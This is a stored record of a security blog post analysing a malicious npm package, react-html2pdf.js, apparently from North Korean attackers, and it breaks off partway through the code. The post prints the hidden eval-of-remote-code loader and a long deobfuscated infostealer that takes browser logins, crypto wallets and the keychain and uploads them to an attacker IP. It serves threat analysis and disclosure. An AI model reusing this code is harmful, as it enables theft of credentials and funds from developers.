{
	"id": "3e20012f-4917-4eef-aca0-3a04228bba30",
	"created_at": "2026-04-06T01:29:27.271034Z",
	"updated_at": "2026-04-10T13:11:41.770398Z",
	"deleted_at": null,
	"sha1_hash": "65ae74b9b03da28f0392a922550048c6895b6a2f",
	"title": "Malware hiding in plain sight: Spying on North Korean Hackers",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4365814,
	"plain_text": "Malware hiding in plain sight: Spying on North Korean Hackers\r\nBy Charlie Eriksen\r\nPublished: 2025-03-31 · Archived: 2026-04-06 00:19:39 UTC\r\nPublished on:\r\n2025-03-31 11:55 am\r\nTable of Contents\r\nOn March 13th 2025, our malware analysis engine alerted us to a potential malicious package that was added to\r\nNPM. First indications suggested this would be a clear-cut case, however, when we started peeling back the layers\r\nthings weren’t quite as they seemed. \r\nHere is a story about how sophisticated nation state actors can hide malware within packages. \r\nNotification\r\nJust after 1pm we got notified by our malware detection tool that a new malicious package had been uploaded to\r\nNPM, directing us the the package react-html2pdf.js (since removed). It appeared this package was masquerading\r\nas the legitimate popular npm package react-html2pdf while it did appear suspicious, we couldn't immediatley see\r\nthe threat it posed, until we looked a little closer.\r\nHow to hide in plain sight\r\nThe first step we took was to look at the package.json . Most malware will have a lifecycle hook like\r\npreinstall , install, postinstall . But we didn’t see that in this package.\r\n{\r\n \"name\": \"react-html2pdf.js\",\r\n \"version\": \"1.0.0\",\r\n \"description\": \"\",\r\n \"main\": \"index.js\",\r\n \"scripts\": {\r\n \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\"\r\n },\r\n \"repository\": {\r\n \"type\": \"git\",\r\n \"url\": \"git+https://github.com/pdec9690/react-html2pdf.git\"\r\n },\r\n \"author\": \"\",\r\n \"license\": \"ISC\",\r\n \"bugs\": {\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 1 of 26\n\n\"url\": \"https://github.com/pdec9690/react-html2pdf/issues\"\r\n },\r\n \"homepage\": \"https://github.com/pdec9690/react-html2pdf#readme\",\r\n \"dependencies\": {\r\n \"request\": \"^2.88.2\",\r\n \"sqlite3\": \"^5.1.7\"\r\n }\r\n}\r\nNext, we look a look inside the index.js file. But strangely there was nothing here either. Beginning to wonder if\r\nour malware detector was alerting on false postivies we finally spotted something…. Can you see it?\r\nIt’s easy to miss, but there’s something wrong here. \r\nDid you notice the horizontal scroll bar? What is it trying to hide? We scrolled to the side, and there was our\r\nanswer. \r\nHere’s the prettified version of the code.\r\nfunction html2pdf() {\r\n (async () =\u003e eval((await axios.get(\"https://ipcheck-production.up.railway[.]app/106\", {\r\n headers: {\r\n \"x-secret-key\": \"locationchecking\"\r\n }\r\n })).data))()\r\n return \"html2pdf\"\r\n}\r\nmodule.exports = html2pdf\r\nThere we have it. It’s making an HTTP request to a URL and passing the response directly to eval() . \r\nWe all make mistakes\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 2 of 26\n\nIt took us a few moments to realize that our automatic detection was correct and it felt a bit awkward to have\r\ndoubted its correctness. But we all make mistakes, right…… Even the attackers do, infact the attackers made\r\nseveral mistakes themselves. \r\n1. There are two dependencies in the package: sqlite3 and request. Neither has axios as a dependency.\r\n2. There’s no import/require statement for axios.\r\nAs a result, this attack would never have worked. Even if they had included axios as a dependency there was still a\r\nmissing import. \r\nSeeing them fumble in real-time\r\nIt may seem like this is a story about a failed attempt at writing malware. This story is just getting started and\r\nsomething very cool happened. We got to watch the attackers debug and fix their mistakes in real-time. \r\nOur malware analyser detected this package on version 1.0.0 but the versions that followed gave us valuable\r\ninsights into how these threat actors operated and gave us endless entertainment as we watched them fumble and\r\nfail at making their attack work.  \r\n1.0.0 - 3/13/2025, 12:54:40 PM\r\nInside version 1.0.0 , the first version, the package consists of the same index.js file shown previously, and\r\nthere’s a file called /test/script.js . All it does is this:\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 3 of 26\n\nconst html2pdf = require('react-html2pdf.js')\r\nconsole.log(html2pdf())\r\nThis simply resolves the package itself and executes the payload. This would likely be used as a part of a lifecycle\r\nhook, but none were present.\r\n1.0.1 - 3/13/2025, 2:10:00 PM\r\nThis version appears to be them debugging their code. Unlike the 1.0.0 version, they aren’t going to the same\r\nlengths to try and hide their malicious code.\r\nThey changed the code to use an async function rather than an anonymous lambda. They also added a console\r\nlogging statement. \r\nEven APTs debug code with console.log apparently!\r\nThey are trying to determine why it’s not making the expected HTTP request. Obviously, it’s because there’s no\r\ndependency on axios and no import statement for it.\r\n1.0.2 - 3/13/2025, 2:23:49 PM\r\n15 minutes later it seems they finally figured out they need to add axios as a dependency and included\r\naxios@^1.8.3 . \r\n{\r\n \"name\": \"react-html2pdf.js\",\r\n \"version\": \"1.0.2\",\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 4 of 26\n\n\"description\": \"\",\r\n \"main\": \"index.js\",\r\n \"scripts\": {\r\n \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\"\r\n },\r\n \"repository\": {\r\n \"type\": \"git\",\r\n \"url\": \"git+https://github.com/pdec9690/react-html2pdf.git\"\r\n },\r\n \"author\": \"\",\r\n \"license\": \"ISC\",\r\n \"bugs\": {\r\n \"url\": \"https://github.com/pdec9690/react-html2pdf/issues\"\r\n },\r\n \"homepage\": \"https://github.com/pdec9690/react-html2pdf#readme\",\r\n \"dependencies\": {\r\n \"axios\": \"^1.8.3\",\r\n \"request\": \"^2.88.2\",\r\n \"sqlite3\": \"^5.1.7\"\r\n }\r\n}\r\nThe code is otherwise the same. It still has debug logging and hasn’t introduced the whitespace obfuscation again. \r\nWhile they are getting closer, the attackers still haven’t remembered to import axios. \r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 5 of 26\n\n1.0.3 - 3/13/2025, 2:37:23 PM\r\nA few minutes later we got another update. It is still clear they are still trying to debug the issue with the index.js\r\nfile changes in this version. Unfortunately for them they still haven’t quite figured out the source of the problem. \r\nconst html2pdf = async () =\u003e {\r\n const res = await axios.get(\"https://ipcheck-production.up.railway.app/106\", { headers: { \"x-secret-key\": \"l\r\n console.log(\"checked ok\");\r\n eval(res.data.cookie);\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 6 of 26\n\nreturn \"html2pdf\"\r\n}\r\nmodule.exports = html2pdf\r\nYou will notice two changes:\r\n1. Instead of a function, they are defining it as an async lambda. \r\n2. They are eval()’ing the res.data.cookie instead of res.data as in previous versions. But the payload is not in\r\nthe cookie or a field called cookie when we fetch it from the server. \r\nHowever, this still doesn’t work due to the lack of an import/require statement. \r\nAnalyzing the payload\r\nWith an office sweepstakes set up taking bets on how long it would take to figure out their mistake, we eagerly\r\nawaited the next update. Unfortunately, the attackers seem frustrated losing motivation for their exploit with no\r\nmore updates coming through. This gave us some time to dig a little deeper and to analyze the malicious payload\r\nthey were trying to inject. \r\nAs with their other packages, this is obfuscated. Once we ran it through some deobfuscation, we ended up with a\r\nvery classic payload that is well documented. \r\n(function (_0x439ccd, _0x2f2b84) {\r\n const _0x48e319 = _0x439ccd();\r\n while (true) {\r\n try {\r\n const _0xc3ac80 = -parseInt(_0x5e84(719, 0x6d6)) / 1 + parseInt(_0x5e84(433, 0x551)) / 2 + parseInt(_0x5e8\r\n if (_0xc3ac80 === _0x2f2b84) {\r\n break;\r\n } else {\r\n _0x48e319.push(_0x48e319.shift());\r\n }\r\n } catch (_0x6c2a0f) {\r\n _0x48e319.push(_0x48e319.shift());\r\n }\r\n }\r\n})(_0x506f, 354290);\r\nconst _0x7b1f8a = function () {\r\n let _0x4ca892 = true;\r\n return function (_0x56e847, _0x590243) {\r\n const _0x745c8c = _0x4ca892 ? function () {\r\n if (_0x590243) {\r\n const _0x322c0c = _0x590243.apply(_0x56e847, arguments);\r\n _0x590243 = null;\r\n return _0x322c0c;\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 7 of 26\n\n}\r\n } : function () {};\r\n _0x4ca892 = false;\r\n return _0x745c8c;\r\n };\r\n}();\r\nconst _0x4b1d0b = _0x7b1f8a(this, function () {\r\n return _0x4b1d0b.toString().search(\"(((.+)+)+)+$\").toString().constructor(_0x4b1d0b).search(\"(((.+)+)+)+$\");\r\n});\r\n_0x4b1d0b();\r\nfunction _0x5e84(_0x491dbf, _0x24c768) {\r\n const _0x1eb954 = _0x506f();\r\n _0x5e84 = function (_0x3109a1, _0x3d8eb2) {\r\n _0x3109a1 = _0x3109a1 - 390;\r\n let _0x273b10 = _0x1eb954[_0x3109a1];\r\n if (_0x5e84.QApUJJ === undefined) {\r\n var _0x4807eb = function (_0x1c601e) {\r\n let _0x52517a = '';\r\n let _0xb93639 = '';\r\n let _0x194ad5 = _0x52517a + _0x4807eb;\r\n let _0x9c31a6 = 0;\r\n let _0x5bbe0b;\r\n let _0x1757c6;\r\n for (let _0xa23365 = 0; _0x1757c6 = _0x1c601e.charAt(_0xa23365++); ~_0x1757c6 \u0026\u0026 (_0x5bbe0b = _0x9c31a6\r\n _0x1757c6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1757c6);\r\n }\r\n let _0x469363 = 0;\r\n for (let _0x148ed5 = _0x52517a.length; _0x469363 \u003c _0x148ed5; _0x469363++) {\r\n _0xb93639 += '%' + ('00' + _0x52517a.charCodeAt(_0x469363).toString(16)).slice(-2);\r\n }\r\n return decodeURIComponent(_0xb93639);\r\n };\r\n _0x5e84.SmAvPn = _0x4807eb;\r\n _0x491dbf = arguments;\r\n _0x5e84.QApUJJ = true;\r\n }\r\n const _0x3c1851 = _0x1eb954[0];\r\n const _0x59b60e = _0x3109a1 + _0x3c1851;\r\n const _0x55f78b = _0x491dbf[_0x59b60e];\r\n if (!_0x55f78b) {\r\n const _0x5f300b = function (_0x2fd671) {\r\n this.QHOMud = _0x2fd671;\r\n this.YVDaph = [1, 0, 0];\r\n this.JcbGmJ = function () {\r\n return 'newState';\r\n };\r\n this.OVyCMT = \"\\\\w+ *\\\\(\\\\) *{\\\\w+ *\";\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 8 of 26\n\nthis.JLwvwW = \"['|\\\"].+['|\\\"];? *}\";\r\n };\r\n _0x5f300b.prototype.mifMRh = function () {\r\n const _0x229166 = new RegExp(this.OVyCMT + this.JLwvwW);\r\n const _0x3a34db = _0x229166.test(this.JcbGmJ.toString()) ? --this.YVDaph[1] : --this.YVDaph[0];\r\n return this.BbIAmR(_0x3a34db);\r\n };\r\n _0x5f300b.prototype.BbIAmR = function (_0x42c1a6) {\r\n if (!Boolean(~_0x42c1a6)) {\r\n return _0x42c1a6;\r\n }\r\n return this.bXmZOq(this.QHOMud);\r\n };\r\n _0x5f300b.prototype.bXmZOq = function (_0xbd8ca5) {\r\n let _0x47b9b1 = 0;\r\n for (let _0x2729f9 = this.YVDaph.length; _0x47b9b1 \u003c _0x2729f9; _0x47b9b1++) {\r\n this.YVDaph.push(Math.round(Math.random()));\r\n _0x2729f9 = this.YVDaph.length;\r\n }\r\n return _0xbd8ca5(this.YVDaph[0]);\r\n };\r\n new _0x5f300b(_0x5e84).mifMRh();\r\n _0x273b10 = _0x5e84.SmAvPn(_0x273b10);\r\n _0x491dbf[_0x59b60e] = _0x273b10;\r\n } else {\r\n _0x273b10 = _0x55f78b;\r\n }\r\n return _0x273b10;\r\n };\r\n return _0x5e84(_0x491dbf, _0x24c768);\r\n}\r\nconst _0x37a9de = function () {\r\n const _0x11156e = {\r\n npoYK: 'IOjyc'\r\n };\r\n _0x11156e.wzbes = function (_0x2abc93, _0x52b5bf) {\r\n return _0x2abc93 === _0x52b5bf;\r\n };\r\n _0x11156e.gBKuE = \"arDDM\";\r\n _0x11156e.ptaJJ = \"Moloi\";\r\n let _0x135685 = true;\r\n return function (_0x2f5864, _0x41df13) {\r\n if (_0x11156e.wzbes(_0x11156e.gBKuE, _0x11156e.ptaJJ)) {\r\n try {\r\n const _0x1cb1ce = {\r\n filename: _0x2d36f8 + '_lst'\r\n };\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 9 of 26\n\n_0xf5f415.push({\r\n 'value': _0x404acb.createReadStream(_0x321d52),\r\n 'options': _0x1cb1ce\r\n });\r\n } catch (_0x2a90eb) {}\r\n } else {\r\n const _0x1b0bdc = _0x135685 ? function () {\r\n if (_0x41df13) {\r\n const _0x1854ff = _0x41df13.apply(_0x2f5864, arguments);\r\n _0x41df13 = null;\r\n return _0x1854ff;\r\n }\r\n } : function () {};\r\n _0x135685 = false;\r\n return _0x1b0bdc;\r\n }\r\n };\r\n}();\r\nconst _0x2beb3b = _0x37a9de(this, function () {\r\n const _0xf65419 = function () {\r\n let _0x2cff02;\r\n try {\r\n _0x2cff02 = Function(\"return (function() {}.constructor(\\\"return this\\\")( ));\")();\r\n } catch (_0x1b5eab) {\r\n _0x2cff02 = window;\r\n }\r\n return _0x2cff02;\r\n };\r\n const _0x1b948b = _0xf65419();\r\n const _0x342695 = _0x1b948b.console = _0x1b948b.console || {};\r\n const _0x212c22 = [\"log\", \"warn\", \"info\", \"error\", \"exception\", 'table', \"trace\"];\r\n for (let _0xf72095 = 0; _0xf72095 \u003c _0x212c22.length; _0xf72095++) {\r\n const _0x394e1b = _0x37a9de.constructor.prototype.bind(_0x37a9de);\r\n const _0x444ab9 = _0x212c22[_0xf72095];\r\n const _0x442110 = _0x342695[_0x444ab9] || _0x394e1b;\r\n _0x394e1b.__proto__ = _0x37a9de.bind(_0x37a9de);\r\n _0x394e1b.toString = _0x442110.toString.bind(_0x442110);\r\n _0x342695[_0x444ab9] = _0x394e1b;\r\n }\r\n});\r\n_0x2beb3b();\r\nconst fs = require('fs');\r\nconst os = require('os');\r\nconst path = require(\"path\");\r\nconst request = require(\"request\");\r\nconst ex = require(\"child_process\").exec;\r\nconst hostname = os.hostname();\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 10 of 26\n\nconst platform = os.platform();\r\nconst homeDir = os.homedir();\r\nconst tmpDir = os.tmpdir();\r\nconst fs_promises = require(\"fs/promises\");\r\nconst getAbsolutePath = _0x30607a =\u003e _0x30607a.replace(/^~([a-z]+|\\/)/, (_0x2a0b7e, _0x4cea8f) =\u003e '/' === _0x4ce\r\nfunction testPath(_0x133be5) {\r\n try {\r\n fs.accessSync(_0x133be5);\r\n return true;\r\n } catch (_0x4d579f) {\r\n return false;\r\n }\r\n}\r\nfunction _0x506f() {\r\n const _0x4e59ac = [....];\r\n _0x506f = function () {\r\n return _0x4e59ac;\r\n };\r\n return _0x506f();\r\n}\r\nfunction _0x275dbc(_0x3a088a, _0x2b8854, _0x55aca9, _0x523cc3) {\r\n return _0x5e84(_0x3a088a - 0x27, _0x523cc3);\r\n}\r\nconst R = [\"Local/BraveSoftware/Brave-Browser\", \"BraveSoftware/Brave-Browser\", \"BraveSoftware/Brave-Browser\"];\r\nconst Q = [\"Local/Google/Chrome\", \"Google/Chrome\", \"google-chrome\"];\r\nconst X = [\"Roaming/Opera Software/Opera Stable\", \"com.operasoftware.Opera\", \"opera\"];\r\nconst Bt = [\"nkbihfbeogaeaoehlefnkodbefgpgknn\", \"ejbalbakoplchlghecdalmeeeajnimhm\", \"fhbohimaelbohpjbbldcngcnapn\r\nconst uploadFiles = async (_0x4e59e1, _0x1e64c9, _0x1b778e, _0x35144d) =\u003e {\r\n let _0xbfe9a;\r\n if (!_0x4e59e1 || '' === _0x4e59e1) {\r\n return [];\r\n }\r\n try {\r\n if (!testPath(_0x4e59e1)) {\r\n return [];\r\n }\r\n } catch (_0x25bf31) {\r\n return [];\r\n }\r\n if (!_0x1e64c9) {\r\n _0x1e64c9 = '';\r\n }\r\n let _0x2ae51b = [];\r\n for (let _0x801a82 = 0; _0x801a82 \u003c 200; _0x801a82++) {\r\n const _0x3fd963 = _0x4e59e1 + '/' + (0 === _0x801a82 ? \"Default\" : \"Profile \" + _0x801a82) + \"/Local Extensi\r\n for (let _0x2652fd = 0; _0x2652fd \u003c Bt.length; _0x2652fd++) {\r\n let _0x2ef81f = _0x3fd963 + '/' + Bt[_0x2652fd];\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 11 of 26\n\nif (testPath(_0x2ef81f)) {\r\n let _0x1fd2c9 = [];\r\n try {\r\n _0x1fd2c9 = fs.readdirSync(_0x2ef81f);\r\n } catch (_0x354f49) {\r\n _0x1fd2c9 = [];\r\n }\r\n let _0x4808c4 = 0;\r\n if (!testPath(getAbsolutePath('~/') + \"/.n3\")) {\r\n fs_promises.mkdir(getAbsolutePath('~/') + \"/.n3\");\r\n }\r\n _0x1fd2c9.forEach(async _0x4e7f8b =\u003e {\r\n let _0x3bca73 = path.join(_0x2ef81f, _0x4e7f8b);\r\n try {\r\n let _0x331d2f = fs.statSync(_0x3bca73);\r\n if (_0x331d2f.isDirectory()) {\r\n return;\r\n }\r\n if (_0x3bca73.includes(\".log\") || _0x3bca73.includes(\".ldb\")) {\r\n const _0x50a239 = {\r\n filename: \"106_\" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b\r\n };\r\n _0x2ae51b.push({\r\n 'value': fs.createReadStream(_0x3bca73),\r\n 'options': _0x50a239\r\n });\r\n } else {\r\n fs_promises.copyFile(_0x3bca73, getAbsolutePath('~/') + \"/.n3/tp\" + _0x4808c4);\r\n const _0x27ff50 = {\r\n filename: \"106_\" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b\r\n };\r\n _0x2ae51b.push({\r\n 'value': fs.createReadStream(getAbsolutePath('~/') + '/.n3/tp' + _0x4808c4),\r\n 'options': _0x27ff50\r\n });\r\n _0x4808c4 += 1;\r\n }\r\n } catch (_0x365110) {}\r\n });\r\n }\r\n }\r\n }\r\n if (_0x1b778e \u0026\u0026 (_0xbfe9a = homeDir + \"/.config/solana/id.json\", fs.existsSync(_0xbfe9a))) {\r\n try {\r\n const _0x149c73 = {\r\n filename: \"solana_id.txt\"\r\n };\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 12 of 26\n\n_0x2ae51b.push({\r\n 'value': fs.createReadStream(_0xbfe9a),\r\n 'options': _0x149c73\r\n });\r\n } catch (_0x293a9e) {}\r\n }\r\n Upload(_0x2ae51b, _0x35144d);\r\n return _0x2ae51b;\r\n};\r\nconst uploadMozilla = _0x28bdbb =\u003e {\r\n const _0x58f3c4 = getAbsolutePath('~/') + \"/AppData/Roaming/Mozilla/Firefox/Profiles\";\r\n let _0x11a54c = [];\r\n if (testPath(_0x58f3c4)) {\r\n let _0x43f643 = [];\r\n try {\r\n _0x43f643 = fs.readdirSync(_0x58f3c4);\r\n } catch (_0x277851) {\r\n _0x43f643 = [];\r\n }\r\n let _0xfea5f8 = 0;\r\n _0x43f643.forEach(async _0x7fdd1f =\u003e {\r\n let _0x1565a3 = path.join(_0x58f3c4, _0x7fdd1f);\r\n if (_0x1565a3.includes('-release')) {\r\n let _0xb824a = path.join(_0x1565a3, \"/storage/default\");\r\n let _0x5b8589 = [];\r\n _0x5b8589 = fs.readdirSync(_0xb824a);\r\n let _0x56f1bd = 0;\r\n _0x5b8589.forEach(async _0x1349f0 =\u003e {\r\n if (_0x1349f0.includes(\"moz-extension\")) {\r\n let _0xb29520 = path.join(_0xb824a, _0x1349f0);\r\n _0xb29520 = path.join(_0xb29520, \"idb\");\r\n let _0xbf7b4c = [];\r\n _0xbf7b4c = fs.readdirSync(_0xb29520);\r\n _0xbf7b4c.forEach(async _0x39b65b =\u003e {\r\n if (_0x39b65b.includes(\".files\")) {\r\n let _0x23bb34 = path.join(_0xb29520, _0x39b65b);\r\n let _0x907e03 = [];\r\n _0x907e03 = fs.readdirSync(_0x23bb34);\r\n _0x907e03.forEach(_0x18728f =\u003e {\r\n if (!fs.statSync(path.join(_0x23bb34, _0x18728f)).isDirectory()) {\r\n let _0x5c1eaa = path.join(_0x23bb34, _0x18728f);\r\n const _0x3dabaf = {\r\n filename: _0xfea5f8 + '_' + _0x56f1bd + '_' + _0x18728f\r\n };\r\n _0x11a54c.push({\r\n 'value': fs.createReadStream(_0x5c1eaa),\r\n 'options': _0x3dabaf\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 13 of 26\n\n});\r\n }\r\n });\r\n }\r\n });\r\n }\r\n });\r\n _0x56f1bd += 1;\r\n }\r\n _0xfea5f8 += 1;\r\n });\r\n Upload(_0x11a54c, _0x28bdbb);\r\n return _0x11a54c;\r\n }\r\n};\r\nconst uploadEs = _0x259211 =\u003e {\r\n let _0x3d015b = '';\r\n let _0x237a59 = [];\r\n if ('w' == platform[0]) {\r\n _0x3d015b = getAbsolutePath('~/') + \"/AppData/Roaming/Exodus/exodus.wallet\";\r\n } else if ('d' == platform[0]) {\r\n _0x3d015b = getAbsolutePath('~/') + \"/Library/Application Support/exodus.wallet\";\r\n } else {\r\n _0x3d015b = getAbsolutePath('~/') + \"/.config/Exodus/exodus.wallet\";\r\n }\r\n if (testPath(_0x3d015b)) {\r\n let _0x12e506 = [];\r\n try {\r\n _0x12e506 = fs.readdirSync(_0x3d015b);\r\n } catch (_0x94bd45) {\r\n _0x12e506 = [];\r\n }\r\n let _0x28935a = 0;\r\n if (!testPath(getAbsolutePath('~/') + \"/.n3\")) {\r\n fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');\r\n }\r\n _0x12e506.forEach(async _0x19fec3 =\u003e {\r\n let _0x4b88c9 = path.join(_0x3d015b, _0x19fec3);\r\n try {\r\n fs_promises.copyFile(_0x4b88c9, getAbsolutePath('~/') + \"/.n3/tp\" + _0x28935a);\r\n const _0x61985d = {\r\n filename: \"106_\" + _0x19fec3\r\n };\r\n _0x237a59.push({\r\n 'value': fs.createReadStream(getAbsolutePath('~/') + \"/.n3/tp\" + _0x28935a),\r\n 'options': _0x61985d\r\n });\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 14 of 26\n\n_0x28935a += 1;\r\n } catch (_0x59cc5f) {}\r\n });\r\n }\r\n Upload(_0x237a59, _0x259211);\r\n return _0x237a59;\r\n};\r\nconst Upload = (_0x5371da, _0x486521) =\u003e {\r\n const _0x56f846 = {\r\n type: \"106\"\r\n };\r\n _0x56f846.hid = \"106_\" + hostname;\r\n _0x56f846.uts = _0x486521;\r\n _0x56f846.multi_file = _0x5371da;\r\n try {\r\n if (_0x5371da.length \u003e 0) {\r\n const _0x4ca09a = {\r\n url: \"http://144.172.96[.]80:1224/uploads\",\r\n formData: _0x56f846\r\n };\r\n request.post(_0x4ca09a, (_0x3ae8f6, _0x3a2f2e, _0x14c423) =\u003e {});\r\n }\r\n } catch (_0x531e0d) {}\r\n};\r\nconst UpAppData = async (_0x4426ad, _0x3e8f59, _0x60e2a7) =\u003e {\r\n try {\r\n let _0x268ce4 = '';\r\n _0x268ce4 = 'd' == platform[0] ? getAbsolutePath('~/') + \"/Library/Application Support/\" + _0x4426ad[1] : 'l\r\n await uploadFiles(_0x268ce4, _0x3e8f59 + '_', 0 == _0x3e8f59, _0x60e2a7);\r\n } catch (_0x5ebd09) {}\r\n};\r\nconst UpKeychain = async _0x3714c5 =\u003e {\r\n let _0x3a24d9 = [];\r\n let _0x39d8f5 = homeDir + \"/Library/Keychains/login.keychain\";\r\n if (fs.existsSync(_0x39d8f5)) {\r\n try {\r\n const _0x94b19a = {\r\n filename: \"logkc-db\"\r\n };\r\n _0x3a24d9.push({\r\n 'value': fs.createReadStream(_0x39d8f5),\r\n 'options': _0x94b19a\r\n });\r\n } catch (_0x5a79ae) {}\r\n } else {\r\n _0x39d8f5 += '-db';\r\n if (fs.existsSync(_0x39d8f5)) {\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 15 of 26\n\ntry {\r\n const _0x1aed52 = {\r\n filename: \"logkc-db\"\r\n };\r\n _0x3a24d9.push({\r\n 'value': fs.createReadStream(_0x39d8f5),\r\n 'options': _0x1aed52\r\n });\r\n } catch (_0x29bcaf) {}\r\n }\r\n }\r\n try {\r\n let _0x17c169 = homeDir + \"/Library/Application Support/Google/Chrome\";\r\n if (testPath(_0x17c169)) {\r\n for (let _0x1d1991 = 0; _0x1d1991 \u003c 200; _0x1d1991++) {\r\n const _0x141480 = _0x17c169 + '/' + (0 === _0x1d1991 ? 'Default' : \"Profile \" + _0x1d1991) + \"/Login Dat\r\n try {\r\n if (!testPath(_0x141480)) {\r\n continue;\r\n }\r\n const _0x11ddc5 = _0x17c169 + \"/ld_\" + _0x1d1991;\r\n const _0x4c51e4 = {\r\n filename: 'pld_' + _0x1d1991\r\n };\r\n if (testPath(_0x11ddc5)) {\r\n _0x3a24d9.push({\r\n 'value': fs.createReadStream(_0x11ddc5),\r\n 'options': _0x4c51e4\r\n });\r\n } else {\r\n fs.copyFile(_0x141480, _0x11ddc5, _0x5336ba =\u003e {\r\n const _0x173efd = {\r\n filename: \"pld_\" + _0x1d1991\r\n };\r\n let _0x2adc61 = [{\r\n 'value': fs.createReadStream(_0x141480),\r\n 'options': _0x173efd\r\n }];\r\n Upload(_0x2adc61, _0x3714c5);\r\n });\r\n }\r\n } catch (_0x136aa3) {}\r\n }\r\n }\r\n } catch (_0x10da1f) {}\r\n try {\r\n let _0x5877c5 = homeDir + \"/Library/Application Support/BraveSoftware/Brave-Browser\";\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 16 of 26\n\nif (testPath(_0x5877c5)) {\r\n for (let _0x4289ac = 0; _0x4289ac \u003c 200; _0x4289ac++) {\r\n const _0x388e88 = _0x5877c5 + '/' + (0 === _0x4289ac ? \"Default\" : \"Profile \" + _0x4289ac);\r\n try {\r\n if (!testPath(_0x388e88)) {\r\n continue;\r\n }\r\n const _0x4cb112 = _0x388e88 + \"/Login Data\";\r\n const _0x533124 = {\r\n filename: 'brld_' + _0x4289ac\r\n };\r\n if (testPath(_0x4cb112)) {\r\n _0x3a24d9.push({\r\n 'value': fs.createReadStream(_0x4cb112),\r\n 'options': _0x533124\r\n });\r\n } else {\r\n fs.copyFile(_0x388e88, _0x4cb112, _0x29cd60 =\u003e {\r\n const _0x2c0338 = {\r\n filename: \"brld_\" + _0x4289ac\r\n };\r\n let _0x2511d4 = [{\r\n 'value': fs.createReadStream(_0x388e88),\r\n 'options': _0x2c0338\r\n }];\r\n Upload(_0x2511d4, _0x3714c5);\r\n });\r\n }\r\n } catch (_0x3a308e) {}\r\n }\r\n }\r\n } catch (_0x430644) {}\r\n Upload(_0x3a24d9, _0x3714c5);\r\n return _0x3a24d9;\r\n};\r\nconst UpUserData = async (_0x36f5a0, _0x286e68, _0x4300cf) =\u003e {\r\n let _0x424c5f = [];\r\n let _0x4b95f2 = '';\r\n _0x4b95f2 = 'd' == platform[0] ? getAbsolutePath('~/') + \"/Library/Application Support/\" + _0x36f5a0[1] : 'l'\r\n let _0x227f08 = _0x4b95f2 + \"/Local State\";\r\n if (fs.existsSync(_0x227f08)) {\r\n try {\r\n const _0x4a1d0a = {\r\n filename: _0x286e68 + \"_lst\"\r\n };\r\n _0x424c5f.push({\r\n 'value': fs.createReadStream(_0x227f08),\r\nhttps://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers\r\nPage 17 of 26\n\n'options': _0x4a1d0a\r\n });\r\n } catch (_0x18477b) {}\r\n }\r\n try {\r\n if (testPath(_0x4b95f2)) {\r\n for (let _0x5d2f7f = 0; _0x5d2f7f \u003c 200; _0x5d2f7f++) {\r\n const _0x217a08 = _0x4b95f2 + '/' + (0 === _0x5d2f7f ? 'Default' : \"Profile \" + _0x5d2f7f);\r\n try {\r\n if (!testPath(_0x217a08)) {\r\n continue;\r\n }\r\n const _0x43a5b3 = _0x217a08 + \"/Login Data\";\r\n if (!testPath(_0x43a5b3)) {\r\n continue;\r\n }\r\n const _0x677c1e = {\r\n filename: _0x286e68 + '_' + _0x5d2f7f + \"_uld\"\r\n };\r\n _0x424c5f.push({\r\n 'value': fs.createReadStream(_0x43a5b3),\r\n 'options': _0x677c1e\r\n });\r\n } catch (_0x468130) {}\r\n }\r\n }\r\n } catch (_0x25db13) {}\r\n Upload(_0x424c5f, _0x4300cf);\r\n return _0x424c5f;\r\n};\r\nfunction _0x209c84(_0x42c618, _0x40ddd7, _0x324bac, _0x231a82) {\r\n return _0x5e84(_0x40ddd7 + 0xd7, _0x42c618);\r\n}\r\nlet It = 0;\r\nconst extractFile = async _0x169ea8 =\u003e {\r\n ex(\"tar -xf \" + _0x169ea8 + \" -C \" + homeDir, (_0x5137bb, _0x38768c, _0x44c05a) =\u003e {\r\n if (_0x5137bb) {\r\n fs.rmSync(_0x169ea8);\r\n return void (It = 0);\r\n }\r\n fs.rmSync(_0x169ea8);\r\n Xt();\r\n });\r\n};\r\nconst runP = () =\u003e {\r\n const _0x63e597 = tmpDir + \"\\\\p.zi\";\r\n const _0x37a8dc = tmpDir + 